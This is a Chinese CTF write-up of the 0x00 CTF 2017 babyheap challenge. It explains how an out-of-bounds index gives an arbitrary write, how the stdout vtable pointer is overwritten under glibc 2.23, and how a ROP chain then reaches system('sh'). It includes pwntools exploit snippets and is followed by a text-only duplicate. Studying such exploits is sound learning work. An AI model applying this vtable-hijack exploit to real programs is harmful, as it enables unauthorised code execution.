Pwn with File结构体之利用 vtable 进行 ROP
字数 1313 2025-08-20 18:17:07

利用File结构体vtable进行ROP攻击的技术分析

漏洞背景

本文以0x00 CTF 2017的babyheap题目为例,详细讲解如何通过修改vtable进行ROP攻击的技术。该技术利用了程序中的越界读写漏洞,通过篡改IO_FILE结构体的虚表指针,最终实现控制流劫持。

程序分析

安全措施检查

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE

关键点:没有开启PIE,意味着代码段的地址固定,便于利用。

程序功能

  1. 初始化功能:程序开始时要求用户往bss段的name缓冲区输入内容
  2. add函数:分配指定大小的内存并读入username
  3. edit函数:根据输入的index写入内容(无边界检查)
  4. ban函数:释放user对象
  5. changename函数:修改bss段的name
  6. 特殊功能:选项5会打印read函数的地址,可泄露libc基址

关键漏洞

edit函数存在越界读漏洞:

  • 直接使用用户输入的数字作为数组索引
  • 可以从users数组外读取数据作为指针
  • 结合可控的name缓冲区,可实现任意地址写

BSS段布局

users数组起始地址: 0x0602040
name缓冲区地址: 0x006020a0

计算偏移:(0x006020a0-0x00602040)/8 = 12,意味着索引12会从name缓冲区开始处取8字节作为指针。

漏洞利用

利用思路

  1. 通过选项5泄露libc地址
  2. 利用edit和changename实现任意地址写
  3. 题目使用libc 2.23(无虚表保护)
  4. 选择修改stdout的虚表指针,伪造stdout的虚表
  5. 在调用虚表时控制RIP

技术细节

  1. stdout结构分析

    • stdout是_IO_FILE_plus类型,大小0xe0
    • 最后8字节是vtable指针(stdout+0xd8处)
    • vtable类型是struct _IO_jump_t,大小0xa8
  2. 伪造虚表限制

    • name缓冲区大小仅0x28,无法伪造整个虚表
    • 只需修改虚表中接下来会被调用的项的指针

利用步骤

  1. 泄露libc基址
choice(5)
p.recvuntil("your gift:\n")
libc.address = int(p.recvline().strip()) - libc.symbols['read']
stdout_vtable_addr = libc.symbols['_IO_2_1_stdout_'] + 0xd8
  1. 布置name缓冲区
choice(4)
payload = ""
payload += p64(stdout_vtable_addr)  # 修改虚表指针
payload += cyclic(0x28 - len(payload))
p.sendafter("enter new name:", payload)
  1. 触发任意地址写
choice(2)
p.sendlineafter("2. insecure edit", "2")
p.sendlineafter("index: ", '12')  # 从name缓冲区开始处取8字节作为指针
payload = p64(bss_name)  # 修改vtable的值
p.sendafter("new username: ", payload[:6])  # 只发送6字节
  1. 控制流劫持
  • 当调用虚表时,会执行call [rax + 0x38]
  • 通过设置$rax = bss_name - 0x18,使$rax + 0x38指向可控区域

ROP利用

  1. gadget选择
    使用libc中的代码片段(位于authnone_create-0x35处):
mov rdi, rsp
call qword ptr [rax+20h]
...
  1. 利用思路
  • 设置rax+0x20为gets函数地址
  • 通过gets向栈中写入ROP链
  • 控制程序流进入ROP链
  1. ROP链构造
pop_rdi_ret = 0x0000000000400f13
zero_addr = 0x6020c8  # 该位置的值为p64(0)

payload = 'a' * 8
payload += p64(zero_addr - 0x38)
payload += cyclic(40)
payload += p64(pop_rdi_ret)
payload += p64(sh_addr)
payload += p64(libc.symbols['system'])
p.sendline(payload)

技术总结

  1. 关键点

    • 利用越界读实现任意地址写
    • 修改stdout的vtable指针
    • 通过控制虚表调用劫持控制流
    • 使用特殊gadget实现栈迁移
  2. 适用场景

    • 存在任意地址写能力
    • 能控制rax指向的内容
    • 可以修改虚表指针的情况
  3. 防御措施

    • 启用PIE
    • 对数组访问进行边界检查
    • 使用现代libc版本(有虚表保护)

参考资源

  1. 0x00 CTF 2017 babyheap writeup
  2. IO_FILE结构体利用技术

通过本文的分析,我们深入了解了如何利用File结构体的vtable进行ROP攻击的技术细节,这种技术在CTF比赛和实际漏洞利用中都有重要应用价值。

利用File结构体vtable进行ROP攻击的技术分析 漏洞背景 本文以0x00 CTF 2017的babyheap题目为例,详细讲解如何通过修改vtable进行ROP攻击的技术。该技术利用了程序中的越界读写漏洞,通过篡改IO_ FILE结构体的虚表指针,最终实现控制流劫持。 程序分析 安全措施检查 关键点:没有开启PIE,意味着代码段的地址固定,便于利用。 程序功能 初始化功能 :程序开始时要求用户往bss段的name缓冲区输入内容 add函数 :分配指定大小的内存并读入username edit函数 :根据输入的index写入内容(无边界检查) ban函数 :释放user对象 changename函数 :修改bss段的name 特殊功能 :选项5会打印read函数的地址,可泄露libc基址 关键漏洞 edit函数存在越界读漏洞: 直接使用用户输入的数字作为数组索引 可以从users数组外读取数据作为指针 结合可控的name缓冲区,可实现任意地址写 BSS段布局 计算偏移:(0x006020a0-0x00602040)/8 = 12,意味着索引12会从name缓冲区开始处取8字节作为指针。 漏洞利用 利用思路 通过选项5泄露libc地址 利用edit和changename实现任意地址写 题目使用libc 2.23(无虚表保护) 选择修改stdout的虚表指针,伪造stdout的虚表 在调用虚表时控制RIP 技术细节 stdout结构分析 : stdout是 _IO_FILE_plus 类型,大小0xe0 最后8字节是vtable指针(stdout+0xd8处) vtable类型是 struct _IO_jump_t ,大小0xa8 伪造虚表限制 : name缓冲区大小仅0x28,无法伪造整个虚表 只需修改虚表中接下来会被调用的项的指针 利用步骤 泄露libc基址 : 布置name缓冲区 : 触发任意地址写 : 控制流劫持 : 当调用虚表时,会执行 call [rax + 0x38] 通过设置 $rax = bss_name - 0x18 ,使 $rax + 0x38 指向可控区域 ROP利用 gadget选择 : 使用libc中的代码片段(位于 authnone_create-0x35 处): 利用思路 : 设置 rax+0x20 为gets函数地址 通过gets向栈中写入ROP链 控制程序流进入ROP链 ROP链构造 : 技术总结 关键点 : 利用越界读实现任意地址写 修改stdout的vtable指针 通过控制虚表调用劫持控制流 使用特殊gadget实现栈迁移 适用场景 : 存在任意地址写能力 能控制rax指向的内容 可以修改虚表指针的情况 防御措施 : 启用PIE 对数组访问进行边界检查 使用现代libc版本(有虚表保护) 参考资源 0x00 CTF 2017 babyheap writeup IO_ FILE结构体利用技术 通过本文的分析,我们深入了解了如何利用File结构体的vtable进行ROP攻击的技术细节,这种技术在CTF比赛和实际漏洞利用中都有重要应用价值。